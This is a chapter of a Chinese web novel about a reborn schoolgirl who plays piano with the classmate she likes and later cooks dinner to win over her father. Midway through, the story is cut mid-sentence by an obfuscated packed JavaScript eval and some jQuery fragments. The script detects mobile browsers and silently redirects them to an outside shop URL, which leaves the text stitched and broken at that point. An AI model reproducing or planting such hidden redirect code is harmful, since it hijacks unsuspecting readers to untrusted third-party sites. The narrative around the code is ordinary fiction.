周珥和傅时刚关上教室门,迎面碰到挺着肚子巡视教学楼的教导主任,他让二人帮他把两面坏了的鼓搬到艺体楼旧排练厅去,等翻新时再统一处理。
教导主任惯喜欢指使学生给他干活,这么大的鼓搬到四楼不得累死,周珥抱怨。
“要不你在楼下等我?我来搬。”
“不用啦,一起搬吧。”周珥可不舍得他累,她还想让傅时在楼下歇着她来般呢,奈何她没那体力。
旧的排练厅看起来好一段时间没用了,鼓往地上一放,漫天灰尘扬起,周珥连打两个喷嚏,角落一堆烂桌破椅,天花板也掉了两块,艺体楼早该翻新了。
她看到前面放着的老式钢琴,走上前轻轻掀开绒布打开琴盖,手指翻飞跑了遍音阶,好几个琴键音已经不准了。
“你要弹一首试试吗?”傅时问。
“我弹得不好。”
“没关系,只是试试,这里也没别人在。”
周珥点头,掸了掸琴凳上的灰坐下,又搓了搓冰冷的手才开始弹,现在她这副身体从来没练过钢琴,手指无力又僵硬,弹快了还打滑,周珥尴尬地冲傅时一笑:“生疏了。”
“没事,我听不出来。”
“......”
周珥本来想装个大的弹《克罗地亚狂想曲》,思索再三还是放弃了,选了首耳熟能详的《梦中的婚礼》,但还是高估了自己。
没经过训练的手指在弹八度的时候简直拉垮透了,错了一个音就会错更多音,弹到后面她都想发火,但以前老师教过她,表演的时候就算错了也要当没错,绝对不能停下来或者重弹,所以她坚持完成。
一首抒情柔美的《梦中的婚礼》被她弹得好像两个被迫结婚的人突然在婚礼上反悔然后引起骚乱争吵,最后两位新人跑了,梦也醒了。
“啊哈哈,太久没弹了。”
“很好听。”
“你认真的吗?”
傅时眼神飘忽:“还有很大的进步空间。”
周珥乐了,难得见他为了安慰人开始胡说八道,她往左边挪了点,拍拍凳子示意他坐过来:“你也来试试吧。”
“我不会。”
“没事,你就用一只手弹,我帮你伴奏”,周珥伸手直接拉他坐下,说“《小星星》听过吧?小学音乐课肯定教过,1155665,4433221,5544332,5544332,这个是Do,你试试。”
傅时抬起右手一个一个按,周珥跟着他的音轻声唱:“一闪一闪亮晶晶,满天都是小星星,挂在天上放光明,好像许多小眼睛......是不是很简单?”
“好像真的不难。”
“那你再试一遍?”
“好。”
这一遍傅时弹得流畅多了,他像一个刚学会新技能的小朋友,微微扬起下巴对她笑,周珥心想:哪里是满天的小星星,明明是他满眼的小星星,一眨一眨亮晶晶。
“你真厉害!我们一起来个双人联弹吧。”
周珥左手弹和弦,傅时右手弹主旋律,虽然双人联弹都是四只手,不过他们两只手的合作也很别具一格嘛!
“你太棒了傅时!很有音乐天赋啊!”
她哄人太夸张像幼儿园老师,傅时觉得自己耳朵都在发热,才突然意识到他们挨得太近,胳膊贴着胳膊,膝盖点着膝盖。
他心跳乱了节奏。
周珥也不比他多镇定,但她只有些微的慌乱,更多的是兴奋,她确定了傅时是喜欢她的,就如她所说,十六七岁少年人的心动是藏不住的。
此刻,她有个非常不合时宜的想法,她想亲他!这个想法充满了魔力,吸引她逐渐靠近傅时,越靠越近,她似乎已经感受到了他的嘴唇,凉凉的。
“你......怎么一直盯着我看?”
周珥如梦惊醒,原来是灵魂出窍替她吻了心上人,身体定在那半分没动,她清了清嗓子欲盖弥彰,逗他:“没事,你太好看我看入迷了。”
这下可把傅时点着了,大冷天的他觉得浑身发热,起身躲开她的视线:“我们回去吧,还没吃午饭。”
“好——”周珥拉长音,一个字说得黏黏糊糊。
走出艺体楼俩人默契地慢下脚步,傅时问:“周珥,你是不是想考音乐学院?”
“嗯,被你发现啦!”周珥笑了说,“不过我不知道现在开始准备还来不来得及。”
“试试吧,你那么厉害肯定能考上。”
“你居然学我讲话!”
傅时莞尔。
周珥转身倒退着走,看着他说:“傅时,我们一起考去北京吧,我对这个城市向往已久,到时候你在清北,我在中音,这两个学校离得不算远,休息的时候我们可以一起去看升旗,逛故宫,尝尝大名鼎鼎的豆汁到底有多难喝!还能互相串门,你带我看看学霸聚集地的生活是怎么样的,我一直很好奇!”
傅时不明白她为什么那么执着让他考清北,但他明白自己很难拒绝她,周珥看他的眼神充满了期盼,还有一点让他更不理解的小心翼翼。
他不是第一次有这样的感觉,事实上从他们第一次有交集开始他就时常感受到周珥的小心翼翼,这让他有一种他们曾经认识的错觉。
“好。”傅时答应她。
寒假前三天周珥给自己偷懒,整整三天关于学习的事一点不做,第四天开始继续恢复之前学习的作息。
关于考音乐学院的事她本想和周河好好商量一下,但年底他忙着把工作收尾,早出晚归的连着好几天见不着人影,只好打电话给他说想吃他做的饭让他晚上早点回家。
下午写完作业,周珥强行拉着周逸在家打扫卫生,周逸抱怨耽误他出去玩,叨叨咕咕说个不停,周珥忍无可忍,把手里的袜子按在他脸上。
“我靠!过分了啊周珥!”
周珥立即甩给他一个眼神刀:“你叫我什么?”
“谁让你把臭袜子扔我脸上!”
“你叽叽喳喳说个没完我没塞你嘴里已经很爱幼了,好好闻闻你的臭袜子,都洗干净了还不收起来。”
周逸撇撇嘴还在嘟囔:“果然之前都是装的,我还真以为你转性了。”
周珥笑着踹他一脚。
做完家务她又强行拉着周逸去市场买菜,她准备晚上露一手,把周河哄高兴了再提要求成功的概率应该会加一成。
但周逸对此大为震惊和恐惧,追根溯源要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17789463|210323||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
说回她读初一的时候,某天心血来潮想自己炒蛋炒饭,也不知道是火大了还是油烧久了,她把从冰箱拿出来的米饭一倒进去锅就烧起来了,第一次做饭哪见过这阵仗,吓得她赶紧回房间把床单掀起来包住自己,然后才想起盖锅盖关火。
最后蛋炒饭肯定是没得吃了,没把房子点着都是老天爷拼了命地保佑她。
不过今时不同往日啦,她现在的厨艺还行!不说满汉全席,四菜一汤还是能凑一桌的。
买完菜回家她又给周河发了短信,让他千万记得早归,然后指使周逸洗菜打下手,这兔崽子又不情不愿嘀咕:“做饭两小时,吃饭五分钟。”
“又没让你做。”
“我也不想吃啊。”
“门在那,滚。”
“......”
迫于他姐的威慑,周逸不得不听话,但周珥实在过分,居然还让他饭后洗碗,他愤愤然:“凭什么?!”
“这是规矩,做饭不洗碗。”
“我怎么没听过?以前妈妈做饭都会洗碗,明明是你懒还找借口。”
周珥最听不得男的说这种话,小小年纪还学老登这一套,她啪地把菜刀拍在砧板上,抬声教育道:“你也知道妈勤快?那你不知道勤快就是辛苦的意思吗?天天吃完饭嘴一抹撂下筷子就跑,让你干个活就这那的,白瞎了她那么偏心你。”
周逸不敢说话,谁知道无心的一句竟然让这么久没发过脾气的周珥又发起火来,只好默默洗菜。
洗完菜他又站在一旁像个受气包,周珥看着他又烦又无奈,让他出去等着。
他俩的妈以前就三天两头往外跑,有时候一走就大半年,周珥始终都不知道她到底在外面干什么,问周河就说忙工作,这个谜至今也没解开,但这不重要了。
她比周逸大两岁,跟妈妈多待了两年,或许实际算起来也并没有,毕竟她被外婆带过好长一段时间,虽然妈妈偏心周逸,但他经历家里变故时年纪太小,所以他对这种偏爱基本没什么印象。
曾经她也问过周逸想不想妈妈,这小子表现得好像生命里从来没出现过这个人一样,周珥当时气得很,母爱这种东西真是旱的旱死,涝的涝死,想要的人得不到,得到的人没感觉。
七点多,周河紧赶慢赶回到家,一进门就看到姐弟俩各自坐在沙发的一角看喜羊羊,桌上摆着四菜一汤,他惊讶得以为自己进错了家门:“这是你们做的?还是奶奶过来烧的?”
周逸这回有眼力见地起身去给大家盛饭,说:“姐又心血来潮做饭,不过这回还真挺像样。”
周河洗了手坐下,周珥笑着介绍:“可乐鸡翅,葱油鲈鱼,荷兰豆煸火腿和清炒油麦菜,还有一个铁棍山药汤,养胃的。”
话音刚落周逸已经嗦出两个完整的鸡翅骨,这道是周珥的拿手菜,当初学做饭第一个学的就是它,她很满意周逸的捧场。
“爸你快吃,给评价评价”周珥舀了一碗汤端给他。
周河吹了吹喝了一小口,咂咂嘴说:“咪道交关赞!(味道好极了)”
周珥笑出了声。
这一顿饭吃得其乐融融,天伦尽享,是前世今生两辈子以来他们父女关系最和谐的一次。